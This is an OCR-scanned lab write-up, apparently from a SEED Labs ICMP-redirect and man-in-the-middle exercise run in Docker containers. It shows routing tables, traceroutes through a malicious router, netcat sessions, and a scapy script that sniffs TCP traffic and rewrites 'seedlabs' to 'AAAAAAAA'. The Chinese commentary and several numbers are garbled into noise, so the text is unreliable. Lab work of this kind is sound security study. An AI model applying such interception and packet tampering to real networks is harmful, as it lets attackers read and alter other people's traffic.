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[03/13/25]seed@VM:~/.../Labsetup$ dockps
d63abef2e78c host-192.168.60.6
5¢c59e3b/cbcbhb attacker-10.9.0.105
7d57fda367c4 malicious-router-10.9.0.111
6a9fc34ceebb victim-10.9.0.5
edfbl3bcl989 router

4bOb20cTf68e8 host-192.168.60.5
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z 417 ip route, W LLFE F| H M H 4L AE

192.168.0.0/24 ¥daty, Krdid 10.9.0.11 AR H

root@a9fc34ceebb:/# ip route
default via 10.9.0.1 dev eth®
10.9.0.0/24 dev eth® proto kernel scope link src 10.9.0.5

1192.168.60.0/24 via 10.9.0.11 dev ethO|

AT mtr -n 192.168.60.5 FREFHHE 1.5 192.168.60.5 Fresid

B T R, AT Blaeid

6a9fc34ceebb (10.9.0.5)
Keys: Help Display mode

Host

1. 10.9.0.11

2. 192.168.60.5

110.9.0.11 W%, SRUE 1 _EiREEH.

My traceroute [v0.93]

2025-03-13T05:19:00+0000
Restart statistics Order of fields quit

Packets Pings
Loss% Snt Last Avg Best Wrst StDev
0.0% 5 0.1 0.1 0.1 0.3 0.1
0.0% 5 0.1 0.1 6.1 0.1 0.0
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My traceroute [v0.93]

6a9fc34ceebb (10.9.0.5) 2025-03-13T05:22:12+0000
Keys: Help Display mode Restart statistics Order of fields quit
Packets Pings
Host Loss% Snt Last Avg Best Wrst StDev
1. 10.9.0.11 0.0% 11 0.1 0.1 0.1 0.1 ©o.0
2. 192.168.60.5 0.0% 10 6.1 6.1 0.1 0.1 0.0
10.9.0.11
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My Traceroute |vu.Y3]

6a9fc34ceebb (10.9.0.5) 2025-03-13T05:30:53+0000
Heys: Help Display mode Restart statistics Order of fields quit
Packets Pings
Host Loss%  Snt Last Avg Best Wrst StDev
1. 10.9.0.111 0.0% 5 0.1 ©.1 0.1 0.1 0.0
2. 10.9.0.11 0.0% 4 0.1 ©.1 0.1 0.1 0.0
3. 192.168.60.5 0.0% 4 0.1 ©6.1 0.1 0.1 0.0
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root@6a9fc34ceebb:/# ip route flush cache
root@6a9fc34ceebb:/# ip route show cache

riy LwrdlegervuLe LVU.22]

6a9fc34ceebb (10.9.0.5) 2025-03-13T05:33:53+0000
Keys: Help Display mode Restart statistics Order of fields quit
Packets Pings
Host Loss% Snt Last Avg Best Wrst StDev
1. 10.9.0.11 0.0% 3 0.1 0.1 0.1 0.1 0.0
2. 192.168.60.5 0.0% 3 0.1 0.1 0.1 0.1 0.0
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KA HMESMW IP HRERIEEE, &% FW M host
(192.168.60.5) [A]f#) TCP ##z, #R/5i21T mitm_sample.py B4,

EZEN TN seedlabs J5, host 45 AAAAAAA

root@6a9fc34ceebb:/# nc 192.168.60.5 9090
111
seedlabs

[03/13/25]seed@VM:~/.../Labsetup$ docksh 4
root@4b0b20cf68e8:/# nc -1 -p 9090

111
IAAAAAAAA

Y T , SeBL 7RSS A AR

o R L TR T NN r Ay mr -

Sent 1 packets.
*** pb'AAAAAAAANNn', length: 9

Sent 1 packets.
***% b'AAAAAAAANN', length: 9

Sent 1 packets.
*** b'AAAAAAAANN', length: 9

Sent 1 packets.
*** b'AAAAAAAANN', length: 9

Sent 1 packets.
*** b'AAAAAAAANN', length: 9
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THTEM TCP #udif, WHEMETH AR EdRE .

B s, K ECh “tep and inbound”, R EA
SR A S EIE R

f =|'"tcp and inbound'
pkt = sniff(iface='eth0', filter=f, prn=spoof pkt)

“Croot@7d57fda36/c4:/volumes# ./mitm sample.py
LAUNCHING MITM ATTACK.........
***|b'seedlabs\n', length: 9|

éent 1 packets.
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